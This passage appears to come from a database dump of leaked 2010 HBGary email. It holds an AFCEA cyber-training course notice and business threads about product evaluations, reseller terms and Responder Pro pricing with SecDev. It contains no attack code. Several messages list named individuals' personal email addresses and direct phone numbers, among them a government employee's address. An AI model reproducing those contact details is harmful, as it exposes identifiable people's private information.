cyberspace, and addresses computer network attack, defense, and exploitation&nbsp; It is intended for individuals starting a career in the field or who are interested in separating the hype from the reality of intelligence in cyberspace. This course covers the nature of cyberspace;&nbsp; understanding cyber attacks and U.S. adversaries in cyberspace;&nbsp; and intelligence support to computer network defense and offense, including indications &amp; warning (I&amp;W) and battle damage assessment (BDA). \r\n206&nbsp;&nbsp;New!&nbsp; Advanced Intelligence Support to Cyber Conflict; June 24-25. \r\nAdvanced Intelligence Support to Cyber Conflict is an unclassified 2-day course that will bring students up-to-date on the status of the cyber issue before diving into more complex material. Topics include strategic warfare in cyberspace, deterrence and arms control, interagency collaboration at the White House and with national agencies, increasing intelligence support to the private sector, and other advanced topics, leaving significant time for group exercises and discussion. It is intended for individuals with a minimum of four years experience. \r\nStevens Institute of Technology: &nbsp;Stevens has designed the Applied Program Management Graduate Certificate which will allow members to develop the necessary skills for success in their mission critical roles. AFCEA members are eligible to receive a 5% tuition discount on this customized certificate.\r\nMeet faculty and learn about Graduate Programs Offered in Washington, DC.\r\nOPEN HOUSE June 3rd 5:00 p.m. - 8:00 p.m.\r\nLOCATION:\r\nRonald Reagan Building &amp; International Trade Center\r\n  1300 Pennsylvania Ave NW\r\n  Suite G - 17\r\n  Washington, DC&nbsp; 20004\r\n  202-567-6380 \r\nFor more details click:\r\nhttp://dc.stevens.edu/nc/events/stevens-dc-events/item/13/\r\nOther courses offered in July - August:\r\n507 NEW! Software Quality Assurance and Improvement;&nbsp; July 7-9. Tuitions reduced!\r\n386 NEW!&nbsp; NIST 800-37 - Security Certification and Accreditation of Federal Information Systems; July 13-16.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n650 Cyber Security - The Building Block of IT; NEW DATE July 20 - 23.\r\n387 NEW! DIACAP - Certification and Accreditation (C&amp;A) Process; July 20-23.\r\n382 (ISC)2 DoD CAP - Certification and Accreditation Professional; July 27-29.\r\n388 NEW! Advanced Cyber Network Defense Training; July 27-30.\r\n381 CompTIA Security+ (2008) Edition Certification Course; Aug. 2-5. EXAM on Aug. 6.&nbsp; There is a separate registration and tuition for the exam.&nbsp; See attached link:&nbsp; Comp TIA Security+ EXAM Registration \r\nAll courses will be held in Fairfax, VA unless otherwise noted. \r\nFor full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n            \r\n          Questions? Check FAQs, email the PDC Registrar at pdc@afcea.org or call PDC Registrars, Jill Malinchak or Gloria Kirkland at: 703-631-6137.\r\n\r\n                    \r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	  \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n',4758,'aaron_hbgary_com/4758.html'),(6932,'2010-06-02','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005027.M580298P14101Q1787.eml','\"Aaron Barr\" <aaron@hbgary.com>','Please send Matt Bodman\'s email address','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nBob Nissen asked me to send him and Matt info about the\r\nupcoming training.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2903,'aaron_hbgary_com/2903.html'),(6933,'2010-06-02','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297005027.M814848P14101Q1788.eml','\"Aaron Barr\" <aaron@hbgary.com>','Follow-up to Interview','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI just saw the interview &#8211; It looks good.&nbsp; Do you have\r\nor have you gotten any feedback?\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5406,'aaron_hbgary_com/5406.html'),(6934,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005028.M34969P14101Q1789.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Your Fidelis Security Systems, Inc. Customer Portal username and 	password','I received the evaluation copies of the Fidelis product line this\r\nmorning.  I downloaded the virtual machine images and I\'m converting\r\nthem to VMWare and installing them in our test environment now.\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Fidelis Security Systems Support \r\nDate: Wed, Jun 2, 2010 at 7:15 AM\r\nSubject: Your Fidelis Security Systems, Inc. Customer Portal username\r\nand password\r\nTo: \"ted@hbgary.com\" \r\n\r\n\r\nDear Ted,\r\n\r\nYour Fidelis Security Systems, Inc. Customer Portal login and password\r\ninformation is below.\r\n\r\nThe link to the portal is: http://www.fidelissecurity.com/support/login\r\nPlease bookmark this url to log in as well as to reset your password\r\nin the future.\r\n\r\nThank you,\r\n\r\nFidelis Security Systems, Inc. Customer Support\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',8260,'aaron_hbgary_com/8260.html'),(6935,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005028.M403822P14101Q1790.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Please send Matt Bodman\'s email address','Jmbodma@NSA.gov\r\n\r\nPlease try and set up a discussion to talk about requirements and development.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 2, 2010, at 1:53 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> Bob Nissen asked me to send him and Matt info about the upcoming training.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',1103,'aaron_hbgary_com/1103.html'),(6936,'2010-06-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005028.M643939P14101Q1791.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Aaron Barr\" <aaron@hbgary.com>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSo, in order to &#8220;create&#8221; an integration you would need access to\r\nan SDK and an engineer.&nbsp; I do not know what Aaron gave you up this would be\r\nrequired.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWith regards to the &#8220;loss leader&#8221;, I&#8217;m confused.&nbsp; Are you asking\r\nfor the product for free?&nbsp; Responder Pro is a required purchase, we do not\r\nprovide this for free to anyone.&nbsp; The product saves considerable time over any\r\nother solution.&nbsp; We have clients that you can talk to, it&#8217;s a 75% savings of\r\ntime, which makes you more productive.&nbsp; Active Defense is what is used in\r\nengagements to detect malware, the analysis is done by Responder Pro.&nbsp; &nbsp;Not\r\nsure what you are looking for\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, June 02, 2010 8:28 AM\r\nTo: Penny Leavy-Hoglund; Aaron Barr\r\nCc: Rafal Rohozinski\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Aaron, Penny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope all is well and that you had a relaxing Memorial Day\r\nweekend.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI wanted to follow-up with you regarding Penny\'s email below\r\non pricing HBGary products for SecDev. To consolidate our previous discussions\r\nand to avoid confusion, we (SecDev) envision two aspects to the relationship\r\nwith HBGary: 1) using HBGary products in our investigative/commercial work, and\r\n2) developing HBGary integration with Palantir as part of a suite of cyber\r\nsecurity capabilities.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs such, we would require the appropriate license for use in\r\nboth tasks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFor the commercial work, we believe it would be best to\r\ndeploy HBGary as a loss leader for the initial few clients--we have some\r\nupcoming opportunities where this could be the case. In return, we anticipate\r\nthat this would create a significant market for HBGary products and services in\r\nCanada. We are also hoping to write up case studies of these cases, and would\r\nmake it clear that HBGary was critical to our work. We work this way with\r\nPalantir--it\'s a loss leader, but it has created considerable interest and\r\ndemand for Palantir in Canada which we are now capitalizing on. Of course, such\r\nan arrangement with HBGary would not be in perpetuity, instead we would work\r\nthis way for an an initial 10-12 months while we get things off the ground, and\r\nthen move to a regular commercial arrangement where we buy the product and pass\r\nthe cost to the client.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlso, as mentioned above we would need a license for use\r\nin-house for the integration work - I believe the license you gave Nart would\r\nbe appropriate for this, but I could be wrong. Needless to say, this\r\nintegration work will only improve both HBGary and SecDev\'s product offerings\r\nand expand our client bases.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI look forward to your thoughts.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, here is the long and short\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Yes you can buy Responder Pro\r\nas a perpetual license.&nbsp; It&#8217;s $10,200 and $2040 per year in\r\nmaintenance.&nbsp;&nbsp; The consulting copy is $7500 per year but since you\r\nare a partner, you can buy the perpetual.&nbsp; It comes with one copy of\r\nFastDump Pro.&nbsp; Additional copies of FastDump Pro are $100 per copy.&nbsp;\r\nDigital DNA is a separate component and it is $2000 per year.&nbsp; It only\r\nworks with Responder Pro, it does not work with Field Edition.&nbsp; .&nbsp;\r\nYou would receive a reseller discount off the product pricing.\r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also have CLiP pricing for\r\nconsultants.&nbsp; This is a &#8220;timed license&#8221; of Active Defense, or DDNA for ePO\r\nor DDNA for Encase.&nbsp; This allows you to use scan 1000&#8217;s of machines at\r\nonce.&nbsp; Some companies like to use it as a &#8220;healthcheck&#8221;.&nbsp; This is\r\nkind of like a &#8220;pen test&#8221; where it&#8217;s a two week license and you scan X amount\r\nof nodes.&nbsp; Pricing starts at $5 per node.&nbsp; This way, instead of\r\nlooking at 15 machines, you can take a percentage of a company and see their\r\nthreat profile.&nbsp;&nbsp; We also have an engagement license which typically\r\ngoes for 8 weeks and this again is based per node and is timed.&nbsp; This\r\nallows you to further look into an organization and let them know what is going\r\non.&nbsp; May seem like a lot upfront, but basically once you get a handle on\r\nthe machines, what is in there etc, you can work with them to then do\r\nremediation management.&nbsp; Where you offer a service that checks weekly\r\n(like a managed service) what is going on.&nbsp; 8 Week licenses start at $10\r\nper node.&nbsp; If they want managed service we do this on a case by case\r\nbasis.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Tuesday, June 01,\r\n2010 1:07 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have a job upcoming for a client that requires the use of\r\nFast Dump/Responder Pro across multiple machines (~15). What would be the price\r\nfor us if we bought that product outright and use it for this and future jobs,\r\nvs. what would be the per engagement license cost/how would it work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe license we currently have is a trial/eval one.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for this information.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure you can modify agreement.&nbsp; With regards to products\r\nbeing used for consulting services, you should purchase a copy to do\r\nthat.&nbsp; I&#8217;m assuming you have Responder Pro.&nbsp; We also have AD licenses\r\ndesigned for consultants so that you can charge per engagement fees to customers\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Monday, May 31, 2010\r\n5:34 AM\r\nTo:&nbsp;Arnav Manchanda\r\nCc:&nbsp;Penny Leavy-Hoglund;\r\n\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Penny, Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow up on the email below regarding\r\nmarketing both HBGary products and services in Canada, and to modify the\r\nreseller agreement that you sent me as required.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron: I also wanted to clarify whether we could use the\r\nlicense that you gave Nart for our own commercial work, and what the modalities\r\nwould be on that. We have a job coming up that would require HBGary product\r\ndeployment, so I wanted to ensure that we have the right commercial agreement\r\nin place on that end.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow-up on the reseller agreement that you\r\nsent - it looks fine from the standpoint of reselling HB Gary\'s products in\r\nCanada.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of reselling the package of HBGary services in\r\nCanada, could we somehow incorporate that into this agreement, or would you\r\nprefer this to be on a case by case basis? I had a conversation with Aaron on\r\nThursday regarding reselling services and how the agreement could be to split\r\nthe margin 2/3 - 1/3 between HBGary and SecDev. This would also address the\r\nintegration that HBGary is working on with Fidelis/Endgame.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo let me know your thoughts on this.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Thursday, May 20,\r\n2010 12:13 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny, will have a look and get back to you by early\r\nnext week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our standard reseller form.&nbsp; Here are\r\ndatasheets and two white papers.&nbsp; We are releasing a new white paper at\r\nCEIC, so I&#8217;ll send that to you once it&#8217;s out.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Wednesday, May 19,\r\n2010 4:18 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Penny Leavy\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST.\r\nGive me a shout whenever\'s best 613-755-4007\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They\r\nbuild and manage the product. &nbsp;Penny will get you the reseller agreement.\r\n&nbsp;We use the HBGary products as our foundation for enterprise incident\r\nresponse engagements. &nbsp;I will send you some information on this. &nbsp;Can\r\nwe talk briefly tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for this. It was good to speak to you on Friday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to receiving a reseller agreement/other\r\nmaterials that we can go through.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest 